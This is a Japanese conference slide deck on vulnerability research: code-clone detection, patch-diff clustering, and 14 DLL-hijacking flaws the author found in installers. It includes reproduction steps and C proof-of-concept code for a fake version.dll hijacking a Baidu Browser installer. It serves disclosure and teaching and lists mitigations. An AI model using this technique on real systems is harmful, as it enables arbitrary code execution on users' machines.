SlideShare une entreprise Scribd logo
1  sur  37
Télécharger pour lire hors ligne
Copyright©2018 NTT corp. All Rights Reserved.
活動紹介
研究紹介 + DLLハイジャックの脆弱性
日本電信電話株式会社
セキュアプラットフォーム研究所
中島明日香
JPCERT/CC POC Meeting
1Copyright©2018 NTT corp. All Rights Reserved.
自己紹介: 中島 明日香
 情報セキュリティの研究開発
 脆弱性発見・対策技術がメイン (最近はIoT機器が対象)
 CTF for GIRLS 発起人
 2014年設立。女性限定CTFワークショップ & 大会を開催
 Black Hat Asia Review Board [査読者]
 世界最大級の産業系セキュリティ国際会議
 著書 『サイバー攻撃』
 講談社ブルーバックス 1月発売
2Copyright©2018 NTT corp. All Rights Reserved.
 [前半] 研究紹介
 コードクローンの脆弱性発見手法
 パッチ差分に基づく脆弱性修正箇所の特定支援技術
 [後半] DLLハイジャックの脆弱性を大量に発見した話
 DLLハイジャックの脆弱性を8月末に14個 発見&報告
 脆弱性の詳細と経緯について
目次
公表済の脆弱性
CVE-2018-0692
3Copyright©2018 NTT corp. All Rights Reserved.
研究紹介
4Copyright©2018 NTT corp. All Rights Reserved.
研究紹介1:コードクローンの脆弱性発見手法
研究背景
ソフトウェア A
脆弱性
箇所
コピー
ソフトウェア B
コードクローンの脆弱性とは
コピー&ペースト ソースコード共有 フォークプロジェクト
ソース
コード A
ソース
コードB
Ctrl + C
Ctrl + V
オリジナルの脆弱性に対するパッチを基に、
コードクローンの脆弱性に対する攻撃コードが作成可能
5Copyright©2018 NTT corp. All Rights Reserved.
1.逆アセンブル・正規化 2.類似度算出 3.脆弱性有無の判定
脆弱性が有る
実行ファイル
逆
ア
セ
ン
ブ
ル
+
正
規
化
脆弱性箇所の
機械語命令列
push REG
mov REG REG
mov REG VAL
call MEM
・・・
検査対象実行
ファイルの
機械語命令列
mov REG REG
push REG
mov REG REG
push REG
push REG
mov REG MEM
mov REG MEM
lea REG MEM
・・・
検査対象
実行ファイル
■ 逆アセンブル 概要図
■ 正規化
‣脆弱性がある実行ファイル
‣検査対象実行ファイル
‣コンパイル環境によって異なる
機械語(オペランド)が生成される
そのため正規化が必要
VAL
MEM
REG
即値
メモリの値
レジスタ
正規化前 正規化後
mov eax ecx mov REG REG
研究紹介1:コードクローンの脆弱性発見手法
発見手法について [1/3]
6Copyright©2018 NTT corp. All Rights Reserved.
2.類似度算出 3.脆弱性有無の判定1.逆アセンブル・正規化
脆弱性箇所の
機械語命令列
push REG
mov REG REG
mov REG VAL
call MEM
・・・
検査対象実行ファイル
の機械語命令列
mov REG REG
push REG
mov REG REG
push REG
push REG
mov REG MEM
mov REG MEM
lea REG MEM
・・・
類似度算出
類似度
xx%
■ 類似度算出
動的計画法に基づいた類似文字列検索アルゴリズムを利用
‣Needleman-Wunsch (セミグローバル版)
‣アフィンギャップペナルティ (文字列の追加・削除部分の計算手法)
アルゴリズムを用いて算出したスコアを元に類似度を計算
研究紹介1:コードクローンの脆弱性発見手法
発見手法について [2/3]
7Copyright©2018 NTT corp. All Rights Reserved.
push REG
mov REG REG
mov REG VAL
call MEM
・・・
push REG
mov REG REG
mov REG VAL
call MEM
・・・
mov REG REG
push REG
mov REG REG
push REG
push REG
mov REG MEM
mov REG MEM
lea REG MEM
・・・
脆弱性箇所の
機械語命令列
修正済み脆弱性
箇所の機械語命令列
類似度算出①
類似度算出②
類似度①:80%
類似度②:55%
脆弱性候補
抽出
検査対象実行ファイル
の機械語命令列
■ 脆弱性修正有無の判別手法
‣修正済み脆弱性箇所との類似度を算出
未修正の脆弱性箇所(類似度①)>修正済み脆弱性箇所(類似度②)の場合抽出
1.逆アセンブル・正規化 2.類似度算出 3.脆弱性有無の判定
研究紹介1:コードクローンの脆弱性発見手法
発見手法について [3/3]
8Copyright©2018 NTT corp. All Rights Reserved.
CVE-ID オリジナル コピー 類似度 結果
CVE-2008-4250
netapi32.dll
(5.1.2600.2952)
netlogon.dll
(5.2.3790.1830)
37.7% 
CVE-2011-0658
oleaut32.dll
(5.2.3790.4202)
olepro32.dll
(6.1.7601.17514)
75.1% 
Deadcode
CVE-2015-1789
libeay32.dll
(0.9.8.31)
JunosPulseVpnBg.dll
(1.0.0.206)
43.9% 
CVE-2015-1793
libeay32.dll
(1.0.1.15)
JunosPulseVpnBg.dll
(1.0.0.206)
39.0% 
No attack vector
Windowsの脆弱性14個 + OpenSSLの脆弱性7個をテンプレとして利用
収集対象 収集した実行ファイル数
Virus Total(NSRL) 7580
Windows XP 3479
Windows Vista 6933
Windows 7 5981
Windows8.1 5048
Windows Server 2003 3984
Windows Server 2008 7940
研究紹介1:コードクローンの脆弱性発見手法
実験 & 結果
主にWindows中に存在する
実行ファイルを収集し、コードク
ローンの脆弱性が無いかを調査
■ 結果
9Copyright©2018 NTT corp. All Rights Reserved.
 CVE-2008-4250
 【複製元】netapi32.dll 【複製先】netlogon32.dll
 BoF & Conficker Wormに利用されていた
修正の流れ
 netapi32.dllの修正パッチ [KB958644] 2008年10月配布
 netlogon32.dllの修正パッチ [KB961853] 2009年1月配布
 CVE-2015-1789
 【複製元】 libeay32.dll 【複製先】 JunosPulseVpnBg.dll
 Used by “Windows In-Box Junos Pulse Client(VPN Client)”※
修正の流れ
 OpenSSL(libeay32.dll)修正日 2015年6月
 実験でコードクローンの脆弱性を発見した日 2015年7月
 JunosPulseClient修正日 2015年8月
研究紹介1:コードクローンの脆弱性発見手法
結果の詳細
※Windows In-Box Junos Pulse Client Quick Start Guide https://www.juniper.net/techpubs/software/pulse/guides/j-pulse-windows-inbox-client-qsg.pdf
パッチの配布に
3ヶ月の開きが存在!
修正前に発見!
CVE-2008-4250のケース
CVE-2015-1789のケース
10Copyright©2018 NTT corp. All Rights Reserved.
研究紹介2:パッチ差分に基づく脆弱性修正箇所の特定支援
研究背景
 バイナリ比較ツールを用いた差分解析
 BinDiff
 Turbodiff
 脆弱性修正箇所特定支援技術
 DarunGrim
 手法:優先的に解析すべき差分箇所を提示
 例:cmp命令 +1点, strlen関数 +2点
 問題:開発者独自の知見に基づく特徴を利用しているため、網羅性に欠ける
既知の脆弱性箇所を特定したい場合、
脆弱性修正前後の差分解析(パッチ差分解析)が主流
実際の脆弱性修正の特徴を学習し、パッチ差分解析時に優先的に
解析すべき箇所を提示する脆弱性修正箇所特定支援技術の実現を検討
BinDiffによるパッチ差分解析
11Copyright©2018 NTT corp. All Rights Reserved.
CVE-2014-0198
CVE-2015-0288
類似脆弱性の場合、その修正も類似する可能性が高い仮説
 脆弱性修正の特徴
- NULLポインタ参照の脆弱性
- ポインタがNULLか検査
研究紹介2:パッチ差分に基づく脆弱性修正箇所の特定支援
仮説
12Copyright©2018 NTT corp. All Rights Reserved.
 実験概要
 データセット:OpenSSL1.0.1の脆弱性修正パッチ 62個
 修正のためソースコードに追加や変更が生じた関数を対象に特徴を抽出
 分類手法:クラスタ分析手法 (階層的クラスタリング/ユークリッド距離)
 実験環境:OS:Ubuntu 14.04(x86版), コンパイラ:gcc 5.4.0
 特徴抽出の手順
脆弱性修正方法に共通となる特徴が存在するのか検証目的
脆弱性修正前
脆弱性修正後
正規化前 正規化後 正規化命令集合
① 出現命令集合の増分を抽出 ② 増分命令集合を正規化 ③ 正規化命令の出現頻度を集計
各命令の出現頻度増分命令集合
mov
mov
cmp
jne
test
je
push
jmp
lea
pop
…
mov
mov
cmp
jne
test
je
push
jmp
lea
pop
…
trans
trans
cmp
jump
cmp
jump
stack
jump
lea
stack
…
trans
trans
cmp
jump
cmp
jump
stack
jump
lea
stack
…
trans: 2
cmp: 2
jump: 3
stack:2
lea: 1
…
push
mov
sub
jmp
…
push
mov
sub
+ mov
+ mov
jmp
…
研究紹介2:パッチ差分に基づく脆弱性修正箇所の特定支援
仮説検証
13Copyright©2018 NTT corp. All Rights Reserved.
 分析:各脆弱性(CVE-ID)の概念を表すCWE-ID※をラベルとして付与
 結果:同じラベルが多く密集している2つのクラスタを発見
※直接CVE-IDに紐付いているCWE-IDでは無く、該当するCWE-IDを内包するルートCWE-IDを利用
Development View with Abstractions Highlighted, http://cwe.mitre.org/data/pdf/699_abstraction_colors.pdf
② ①クラスタ2
クラスタ1
研究紹介2:パッチ差分に基づく脆弱性修正箇所の特定支援
検証結果
14Copyright©2018 NTT corp. All Rights Reserved.
■クラスタ1の特徴
- CWE-19(データ処理)が密集
- 比較/分岐/算術命令が一定数以上存在
- 整数関連の値の検査が追加
■クラスタ2の特徴
- CWE-254(セキュリティ機能)
- 転送/分岐/関数に関する命令
- エラー処理用の関数が追加
脆弱性例:CVE-2016-0797
脆弱性例:CVE-2014-3470
パッチ毎に修正箇所の数に違いが存在。結果別クラスタとして分類された
研究紹介2:パッチ差分に基づく脆弱性修正箇所の特定支援
結果詳細
15Copyright©2018 NTT corp. All Rights Reserved.
資料
 コードクローンの脆弱性発見手法
 中島明日香, 岩村誠, 矢田健, “機械語命令の類似度算出による複製さ
れた脆弱性の発見手法の提案” , コンピュータセキュリティシンポジ
ウム, 2015年10月
 https://ipsj.ixsq.nii.ac.jp/ej/index.php?active_action=repository_view_main_item_detail&page_
id=13&block_id=8&item_id=146833&item_no=1
 Asuka Nakajima “If You Find One, There are Probably More! A
Detection Method of “Reproduced” Vulnerability.”, Positive Hack
Days, May, 2016, Russia
 http://www.slideshare.net/phdays/ss-62579634
 パッチ差分に基づく脆弱性修正箇所特定支援技術
 中島 明日香, 木村 廉, 川古谷裕平, 岩村 誠, 針生 剛男
“パッチ差分に基づく脆弱性修正箇所の特定支援技術の検討”
マルチメディア,分散,協調とモバイル(DICOMO2017)シンポジウ
ム, 2017年6月 (ヤングリサーチャ賞受賞)
 https://ipsj.ixsq.nii.ac.jp/ej/index.php?active_action=repository_view_main_item_detail&page_
id=13&block_id=8&item_id=190132&item_no=1
16Copyright©2018 NTT corp. All Rights Reserved.
DLLハイジャックの脆弱性を
大量に報告した話
14個!
17Copyright©2018 NTT corp. All Rights Reserved.
背景 [1/2]
‣DLLの検索順序の仕様を考慮しない実装に起因
アプリケーションがDLL(共有ライブラリ)を読み込む際に、
開発者の意図せず任意(偽)のDLLが読み込まれてしまう脆弱性
DLLハイジャックの脆弱性とは(Windows環境)
‣CWE-427:Uncontrolled Search Path Element (制御されていない検索パスの要素)
18Copyright©2018 NTT corp. All Rights Reserved.
0. “KnownDLLs”※に登録されているか否か
1. アプリケーションが読み込まれたディレクトリ
2. システムディレクトリ
3. 16ビットシステムディレクトリ
4. Windowsディレクトリ
5. カレントディレクトリ(CWD)
6. PATH環境変数に設定されているディレクトリ
【補足】DLLの検索パス [標準設定]
※一般的によく利用されるDLLは事前にパスがレジストリに
登録されている(原則system32)(※http://eternalwindows.jp/windevelop/dll/dll05.html)
19Copyright©2018 NTT corp. All Rights Reserved.
 大量発見のきっかけ
 BlackHat USAで受講したトレーニング
 未知のDLLハイジャックの脆弱性を探せ!という課題
 「DLLハイジャックというと昔流行った?脆弱性な印象」
 ここ数年はインストーラを対象としたDLLハイジャックが流行
背景 [1/2]
‣DLLの検索順序の仕様を考慮しない実装に起因
アプリケーションがDLL(共有ライブラリ)を読み込む際に、
開発者の意図せず任意(偽)のDLLが読み込まれてしまう脆弱性
DLLハイジャックの脆弱性とは(Windows環境)
‣CWE-427:Uncontrolled Search Path Element (制御されていない検索パスの要素)
勉強不足・・(゚ω゚;A)
20Copyright©2018 NTT corp. All Rights Reserved.
 大量発見のきっかけ
 BlackHat USAで受講したトレーニング
 未知のDLLハイジャックの脆弱性を探せ!という課題
 「DLLハイジャックというと昔流行った?脆弱性な印象」
 ここ数年はインストーラを対象としたDLLハイジャックが流行
背景 [1/2]
‣DLLの検索順序の仕様を考慮しない実装に起因
アプリケーションがDLL(共有ライブラリ)を読み込む際に、
開発者の意図せず任意(偽)のDLLが読み込まれてしまう脆弱性
DLLハイジャックの脆弱性とは(Windows環境)
‣CWE-427:Uncontrolled Search Path Element (制御されていない検索パスの要素)
勉強不足・・(゚ω゚;A)
21Copyright©2018 NTT corp. All Rights Reserved.
 大量発見のきっかけ
 BlackHat USAで受講したトレーニング
 未知のDLLハイジャックの脆弱性を探せ!という課題
 「DLLハイジャックというと昔流行った?脆弱性な印象」
 ここ数年はインストーラを対象としたDLLハイジャックが流行
背景 [1/2]
‣DLLの検索順序の仕様を考慮しない実装に起因
アプリケーションがDLL(共有ライブラリ)を読み込む際に、
開発者の意図せず任意(偽)のDLLが読み込まれてしまう脆弱性
DLLハイジャックの脆弱性とは(Windows環境)
‣CWE-427:Uncontrolled Search Path Element (制御されていない検索パスの要素)
勉強不足・・(゚ω゚;A)インストーラを中心にバグハンティングしてみよう!
22Copyright©2018 NTT corp. All Rights Reserved.
 結果
 見事脆弱性が見つかる!
背景 [2/2]
23Copyright©2018 NTT corp. All Rights Reserved.
 結果
 見事脆弱性が見つかる!
背景 [2/2]
先生! 脆弱性を見つけました!
24Copyright©2018 NTT corp. All Rights Reserved.
 結果
 見事脆弱性が見つかる!
背景 [2/2]
先生! 脆弱性を見つけました!
あ、本当だ。凄いね!
25Copyright©2018 NTT corp. All Rights Reserved.
 結果
 見事脆弱性が見つかる!
背景 [2/2]
先生! 脆弱性を見つけました!
あ、本当だ。凄いね!
ありがとうございます!(* ̄∇ ̄*)
(一応本職?だし見つけられて良かった・・('A`;))
26Copyright©2018 NTT corp. All Rights Reserved.
 結果
 見事脆弱性が見つかる!
背景 [2/2]
先生! 脆弱性を見つけました!
あ、本当だ。凄いね!
ありがとうございます!(* ̄∇ ̄*)
(一応本職?だし見つけられて良かった・・('A`;))
しかもインストーラに着目するなんて
”今までに無い斬新な発想だ”!!
27Copyright©2018 NTT corp. All Rights Reserved.
 結果
 見事脆弱性が見つかる!
背景 [2/2]
先生! 脆弱性を見つけました!
あ、本当だ。凄いね!
ありがとうございます!(* ̄∇ ̄*)
(一応本職?だし見つけられて良かった・・('A`;))
しかもインストーラに着目するなんて
”今までに無い斬新な発想だ”!!
受講者の中でインストーラに着目して探している人は皆無
探せばまだまだ沢山あるのでは・・?
28Copyright©2018 NTT corp. All Rights Reserved.
調査したインストーラ一覧 [1/2] ★が脆弱性として報告したもの
カテゴリ ソフトウェア名
ブラウザ
Safari
Firefox
Opera
Chrome
Lunascape Phoebe
Tor Browser
Seamonkey
Sleipnir
Yandex Browser
Vivaldi
Waterfox
★Baidu Browser (公表済)
★ XXX
★ XXX
メディア
プレーヤ
GOM Player
DivX
VLC
MPC-HC
★ XXX
★ XXX
★ XXX
★ XXX
カテゴリ ソフトウェア名
バイナリ
エディタ
010 Editor
HxD
Strling
Winhex
Ultra Edit
★ XXX
オフィス
系
Libre Office
Open Office
Free Office
Poralis Office
一太郎(試用版)
★ XXX
メーラ
ベッキー
秀丸メール
Opera Mail
Thunderbird
画像
ビューア
IrfanView
XnView
Honeyview
NexusImage
Imagine
ImageGlass
★XXX
カテゴリ ソフトウェア名
テキスト
エディタ
Atom
Sakura
terapad
sublimetext
秀丸
brackets
Notpad++
Microsoft OneNote
Evernote
チャット
IRC等
Skype
Limechat
BoldChat
LiveChat
Line
pidgin
★ XXX
★ XXX
セキュリ
ティソフト
等
Wireshark
Kaspersky secure
Connection
Virustotal windows uploader
McAfee Ransomware
Decryption
McAfee Security Scan Plus
Malwarebytes
Avast
AVG(体験版)
★XXX
29Copyright©2018 NTT corp. All Rights Reserved.
カテゴリ ソフトウェア名
PDF閲覧
ソフト等
Kindle
Foxit
Adobe Reader
Slimpdf
Smatra PDF
PDF-Xchange Viewer
★ XXX
その他
Spotify
Audacity
Kindle for PC
BitTorrent
NETGEARGenie
TeraTerm
cybozu Desktop
LEGO Digital Designer
Blender
FileZilla
iCloud
Dropbox Installer
ImageMagick
カテゴリ ソフトウェア名
その他
Virtual Box
GIMP
Visual Studio Community 2017
Vmware WorkStation 12
Lhaca デラックス版
Jane Style(5ch専用ブラウザ)
git for windows
Inkscape
Unity(Download Assistant)
合計14個の脆弱性を報告
中にはユーザ数800万人の
ソフトウェアにも
調査したインストーラ一覧 [2/2] ★が脆弱性として報告したもの (匿名化済み)
30Copyright©2018 NTT corp. All Rights Reserved.
Baidu Browser の場合:
再現手順 [1/3]
1 インストーラ(BaiduBrowser_MiniDownloader.exe)
が利用するDLLの種類を確認
CFF Explorerで確認
2
手元の環境にてKnownDLLsとして登録されているDLLを、
cmd.exe経由で下記コマンドにて確認する
reg query "hklmsystemcurrentcontrolsetcontrolsession
managerknowndlls“
_wow64 REG_SZ wow64.dll
-中略-
WLDAP32 REG_SZ WLDAP32.dll
WS2_32 REG_SZ WS2_32.dll
インストーラが利用していてかつ
KnownDLLsでは無いDLLを探す
31Copyright©2018 NTT corp. All Rights Reserved.
Baidu Browser の場合:
再現手順 [2/3]
3 ステップ2,3から、インストーラが読み込んでいる
version.dllはKnownDLLsでは無い事が判明
そこでこのversion.dllを用いてDLLハイジャックを行う
※他にもKnownDLLsで無いものがあるが、今回はversion.dllで検証
4 実際にDLLハイジャックを行うための偽のDLL
(version.dll)を用意する
32Copyright©2018 NTT corp. All Rights Reserved.
Baidu Browser の場合:
再現手順 [3/3] #include “stdafx.h”
void showMessage() {
MessageBox(0,
TEXT(“hacked!”),
TEXT(“code injected!”),
MB_OK);
}
BOOL APIENTRY DllMain( HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved){
switch (ul_reason_for_call){
case DLL_PROCESS_ATTACH:
showMessage();
break;
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
POC(version.dll)
5 右図の様なDLLを準備
(コンパイル)しversion.dll
と名づける(※補足)
※また検証ではオリジナルのversion.dllが持つエクスポート関数を、
オリジナルのdll(version_orig.dll)に転送するための機能を持たせた
6 インストーラと同一の
ディレクトリにversion.dll
(+version_orig.dll)を配置する
7 インストーラを実行すると
「hacked!」というメッセージが表示され、
DLLハイジャックが成功したことが確認できる
33Copyright©2018 NTT corp. All Rights Reserved.
Baidu Browserの場合 : デモ動画
 デモ動画
34Copyright©2018 NTT corp. All Rights Reserved.
0. “KnownDLLs”※に登録されているか否か
1. アプリケーションが読み込まれたディレクトリ (アプリケーションディレクトリ型)
2. システムディレクトリ
3. 16ビットシステムディレクトリ
4. Windowsディレクトリ
5. カレントディレクトリ(CWD) (カレントディレクトリ型)
6. PATH環境変数に設定されているディレクトリ
【補足】DLLハイジャックの脆弱性の種類
[再掲] DLLの検索パス
 流行の変遷
 2010年頃はカレントディレクトリ型が流行
 例:Wordの文書(docx)を開いた場所からDLLが読み込まれる
 最近はアプリケーションディレクトリ型が流行
 例:インストーラがダウンロードされた場所からDLLが読み込まれる
35Copyright©2018 NTT corp. All Rights Reserved.
 研究紹介
 コードクローンの脆弱性発見手法
 パッチ差分に基づく脆弱性修正箇所の特定支援技術
 DLLハイジャックの脆弱性を大量発見した話
 発見・対策手法についての参考文献
 「DLL読み込みの問題を読み解く」 (JPCERT/CC)
 https://www.slideshare.net/jpcert_securecoding/dll-78581339
 DLL プリロード攻撃を防止するためのライブラリの安全な読み込み(MS)
 https://support.microsoft.com/ja-jp/help/2389418/secure-loading-of-
libraries-to-prevent-dll-preloading-attacks
 対策手法について
 [ユーザ] 怪しいファイルがある所でインストーラを実行しない
 [開発者] DLLの読み込みの仕様に注意して開発
脆弱性があるインストーラ作成ソフトを使わない
まとめ
36Copyright©2018 NTT corp. All Rights Reserved.
ご清聴ありがとうございました

Contenu connexe

Tendances

2014年10月江戸前セキュリティ勉強会資料 -セキュリティ技術者になるには-
2014年10月江戸前セキュリティ勉強会資料 -セキュリティ技術者になるには-2014年10月江戸前セキュリティ勉強会資料 -セキュリティ技術者になるには-
2014年10月江戸前セキュリティ勉強会資料 -セキュリティ技術者になるには-Asuka Nakajima
 
Threat Hunting with Data Science
Threat Hunting with Data ScienceThreat Hunting with Data Science
Threat Hunting with Data ScienceAustin Taylor
 
What is ATT&CK coverage, anyway? Breadth and depth analysis with Atomic Red Team
What is ATT&CK coverage, anyway? Breadth and depth analysis with Atomic Red TeamWhat is ATT&CK coverage, anyway? Breadth and depth analysis with Atomic Red Team
What is ATT&CK coverage, anyway? Breadth and depth analysis with Atomic Red TeamMITRE ATT&CK
 
Leveraging MITRE ATT&CK - Speaking the Common Language
Leveraging MITRE ATT&CK - Speaking the Common LanguageLeveraging MITRE ATT&CK - Speaking the Common Language
Leveraging MITRE ATT&CK - Speaking the Common LanguageErik Van Buggenhout
 
Oxygen Not Includedをやるべき4つの理由
Oxygen Not Includedをやるべき4つの理由Oxygen Not Includedをやるべき4つの理由
Oxygen Not Includedをやるべき4つの理由lestrrat
 
仕様起因の手戻りを減らして開発効率アップを目指すチャレンジ 【DeNA TechCon 2020 ライブ配信】
仕様起因の手戻りを減らして開発効率アップを目指すチャレンジ 【DeNA TechCon 2020 ライブ配信】仕様起因の手戻りを減らして開発効率アップを目指すチャレンジ 【DeNA TechCon 2020 ライブ配信】
仕様起因の手戻りを減らして開発効率アップを目指すチャレンジ 【DeNA TechCon 2020 ライブ配信】DeNA
 
Super Easy Memory Forensics
Super Easy Memory ForensicsSuper Easy Memory Forensics
Super Easy Memory ForensicsIIJ
 
Offensive Python for Pentesting
Offensive Python for PentestingOffensive Python for Pentesting
Offensive Python for PentestingMike Felch
 
2017年11月02日「radare2」トーク/ワークショップAVTokyo 2017
2017年11月02日「radare2」トーク/ワークショップAVTokyo 2017 2017年11月02日「radare2」トーク/ワークショップAVTokyo 2017
2017年11月02日「radare2」トーク/ワークショップAVTokyo 2017 unixfreaxjp
 
コルーチンでC++でも楽々ゲーム作成!
コルーチンでC++でも楽々ゲーム作成!コルーチンでC++でも楽々ゲーム作成!
コルーチンでC++でも楽々ゲーム作成!amusementcreators
 
1891件以上のカーネルの不具合修正に貢献した再現用プログラムを自動生成するsyzkallerのテスト自動化技術(NTT Tech Conference ...
1891件以上のカーネルの不具合修正に貢献した再現用プログラムを自動生成するsyzkallerのテスト自動化技術(NTT Tech Conference ...1891件以上のカーネルの不具合修正に貢献した再現用プログラムを自動生成するsyzkallerのテスト自動化技術(NTT Tech Conference ...
1891件以上のカーネルの不具合修正に貢献した再現用プログラムを自動生成するsyzkallerのテスト自動化技術(NTT Tech Conference ...NTT DATA Technology & Innovation
 
WebRTC SFU Mediasoup Sample update
WebRTC SFU Mediasoup Sample updateWebRTC SFU Mediasoup Sample update
WebRTC SFU Mediasoup Sample updatemganeko
 
PowerShell for Practical Purple Teaming
PowerShell for Practical Purple TeamingPowerShell for Practical Purple Teaming
PowerShell for Practical Purple TeamingNikhil Mittal
 
Windows Kernel Exploitation : This Time Font hunt you down in 4 bytes
Windows Kernel Exploitation : This Time Font hunt you down in 4 bytesWindows Kernel Exploitation : This Time Font hunt you down in 4 bytes
Windows Kernel Exploitation : This Time Font hunt you down in 4 bytesPeter Hlavaty
 
[CB19] Cyber Threat Landscape in Japan – Revealing Threat in the Shadow by C...
[CB19] Cyber Threat Landscape in Japan – Revealing Threat in the Shadow by  C...[CB19] Cyber Threat Landscape in Japan – Revealing Threat in the Shadow by  C...
[CB19] Cyber Threat Landscape in Japan – Revealing Threat in the Shadow by C...CODE BLUE
 

Tendances (20)

2014年10月江戸前セキュリティ勉強会資料 -セキュリティ技術者になるには-
2014年10月江戸前セキュリティ勉強会資料 -セキュリティ技術者になるには-2014年10月江戸前セキュリティ勉強会資料 -セキュリティ技術者になるには-
2014年10月江戸前セキュリティ勉強会資料 -セキュリティ技術者になるには-
 
Threat Hunting with Data Science
Threat Hunting with Data ScienceThreat Hunting with Data Science
Threat Hunting with Data Science
 
What is ATT&CK coverage, anyway? Breadth and depth analysis with Atomic Red Team
What is ATT&CK coverage, anyway? Breadth and depth analysis with Atomic Red TeamWhat is ATT&CK coverage, anyway? Breadth and depth analysis with Atomic Red Team
What is ATT&CK coverage, anyway? Breadth and depth analysis with Atomic Red Team
 
Keycloak入門
Keycloak入門Keycloak入門
Keycloak入門
 
Leveraging MITRE ATT&CK - Speaking the Common Language
Leveraging MITRE ATT&CK - Speaking the Common LanguageLeveraging MITRE ATT&CK - Speaking the Common Language
Leveraging MITRE ATT&CK - Speaking the Common Language
 
Oxygen Not Includedをやるべき4つの理由
Oxygen Not Includedをやるべき4つの理由Oxygen Not Includedをやるべき4つの理由
Oxygen Not Includedをやるべき4つの理由
 
Node-REDからREST APIに接続
Node-REDからREST APIに接続Node-REDからREST APIに接続
Node-REDからREST APIに接続
 
仕様起因の手戻りを減らして開発効率アップを目指すチャレンジ 【DeNA TechCon 2020 ライブ配信】
仕様起因の手戻りを減らして開発効率アップを目指すチャレンジ 【DeNA TechCon 2020 ライブ配信】仕様起因の手戻りを減らして開発効率アップを目指すチャレンジ 【DeNA TechCon 2020 ライブ配信】
仕様起因の手戻りを減らして開発効率アップを目指すチャレンジ 【DeNA TechCon 2020 ライブ配信】
 
Super Easy Memory Forensics
Super Easy Memory ForensicsSuper Easy Memory Forensics
Super Easy Memory Forensics
 
Offensive Python for Pentesting
Offensive Python for PentestingOffensive Python for Pentesting
Offensive Python for Pentesting
 
2017年11月02日「radare2」トーク/ワークショップAVTokyo 2017
2017年11月02日「radare2」トーク/ワークショップAVTokyo 2017 2017年11月02日「radare2」トーク/ワークショップAVTokyo 2017
2017年11月02日「radare2」トーク/ワークショップAVTokyo 2017
 
PostgreSQL Query Cache - "pqc"
PostgreSQL Query Cache - "pqc"PostgreSQL Query Cache - "pqc"
PostgreSQL Query Cache - "pqc"
 
コルーチンでC++でも楽々ゲーム作成!
コルーチンでC++でも楽々ゲーム作成!コルーチンでC++でも楽々ゲーム作成!
コルーチンでC++でも楽々ゲーム作成!
 
NGINXをBFF (Backend for Frontend)として利用した話
NGINXをBFF (Backend for Frontend)として利用した話NGINXをBFF (Backend for Frontend)として利用した話
NGINXをBFF (Backend for Frontend)として利用した話
 
1891件以上のカーネルの不具合修正に貢献した再現用プログラムを自動生成するsyzkallerのテスト自動化技術(NTT Tech Conference ...
1891件以上のカーネルの不具合修正に貢献した再現用プログラムを自動生成するsyzkallerのテスト自動化技術(NTT Tech Conference ...1891件以上のカーネルの不具合修正に貢献した再現用プログラムを自動生成するsyzkallerのテスト自動化技術(NTT Tech Conference ...
1891件以上のカーネルの不具合修正に貢献した再現用プログラムを自動生成するsyzkallerのテスト自動化技術(NTT Tech Conference ...
 
eBPFを用いたトレーシングについて
eBPFを用いたトレーシングについてeBPFを用いたトレーシングについて
eBPFを用いたトレーシングについて
 
WebRTC SFU Mediasoup Sample update
WebRTC SFU Mediasoup Sample updateWebRTC SFU Mediasoup Sample update
WebRTC SFU Mediasoup Sample update
 
PowerShell for Practical Purple Teaming
PowerShell for Practical Purple TeamingPowerShell for Practical Purple Teaming
PowerShell for Practical Purple Teaming
 
Windows Kernel Exploitation : This Time Font hunt you down in 4 bytes
Windows Kernel Exploitation : This Time Font hunt you down in 4 bytesWindows Kernel Exploitation : This Time Font hunt you down in 4 bytes
Windows Kernel Exploitation : This Time Font hunt you down in 4 bytes
 
[CB19] Cyber Threat Landscape in Japan – Revealing Threat in the Shadow by C...
[CB19] Cyber Threat Landscape in Japan – Revealing Threat in the Shadow by  C...[CB19] Cyber Threat Landscape in Japan – Revealing Threat in the Shadow by  C...
[CB19] Cyber Threat Landscape in Japan – Revealing Threat in the Shadow by C...
 

Similaire à [JPCERT/CC POC Meeting] 研究紹介 + DLLハイジャックの脆弱性

TEE (Trusted Execution Environment)は第二の仮想化技術になるか?
TEE (Trusted Execution Environment)は第二の仮想化技術になるか?TEE (Trusted Execution Environment)は第二の仮想化技術になるか?
TEE (Trusted Execution Environment)は第二の仮想化技術になるか?Kuniyasu Suzaki
 
【DeepSecurityUserNight】我が家の箱入り娘を世間に晒すのは危険なのでDeepSecurityに見守ってもらった話
【DeepSecurityUserNight】我が家の箱入り娘を世間に晒すのは危険なのでDeepSecurityに見守ってもらった話【DeepSecurityUserNight】我が家の箱入り娘を世間に晒すのは危険なのでDeepSecurityに見守ってもらった話
【DeepSecurityUserNight】我が家の箱入り娘を世間に晒すのは危険なのでDeepSecurityに見守ってもらった話Hibino Hisashi
 
セキュリティオペレーション自動化に向けた、基盤技術と共通インターフェースの構築 [ISOC-JP workshop, 2016/05/20]
セキュリティオペレーション自動化に向けた、基盤技術と共通インターフェースの構築  [ISOC-JP workshop, 2016/05/20]セキュリティオペレーション自動化に向けた、基盤技術と共通インターフェースの構築  [ISOC-JP workshop, 2016/05/20]
セキュリティオペレーション自動化に向けた、基盤技術と共通インターフェースの構築 [ISOC-JP workshop, 2016/05/20]Takeshi Takahashi
 
闘うITエンジニアのためのLinuxセキュリティ講座
闘うITエンジニアのためのLinuxセキュリティ講座闘うITエンジニアのためのLinuxセキュリティ講座
闘うITエンジニアのためのLinuxセキュリティ講座Toshiharu Harada, Ph.D
 
RISC-Vのセキュリティ技術(TEE, Root of Trust, Remote Attestation)
RISC-Vのセキュリティ技術(TEE, Root of Trust, Remote Attestation)RISC-Vのセキュリティ技術(TEE, Root of Trust, Remote Attestation)
RISC-Vのセキュリティ技術(TEE, Root of Trust, Remote Attestation)Kuniyasu Suzaki
 
ソフトウェア資産管理とIT投資マネジメントの関係性
ソフトウェア資産管理とIT投資マネジメントの関係性ソフトウェア資産管理とIT投資マネジメントの関係性
ソフトウェア資産管理とIT投資マネジメントの関係性Tetsu Kawata
 
Microsoft Intelligent Edge Technologies
Microsoft Intelligent Edge TechnologiesMicrosoft Intelligent Edge Technologies
Microsoft Intelligent Edge TechnologiesTakeshi Fukuhara
 
20180528_VxRailCC_Backup_NW宮本
20180528_VxRailCC_Backup_NW宮本20180528_VxRailCC_Backup_NW宮本
20180528_VxRailCC_Backup_NW宮本VxRail ChampionClub
 
2015 0227 OSC-Spring Tokyo NETMF
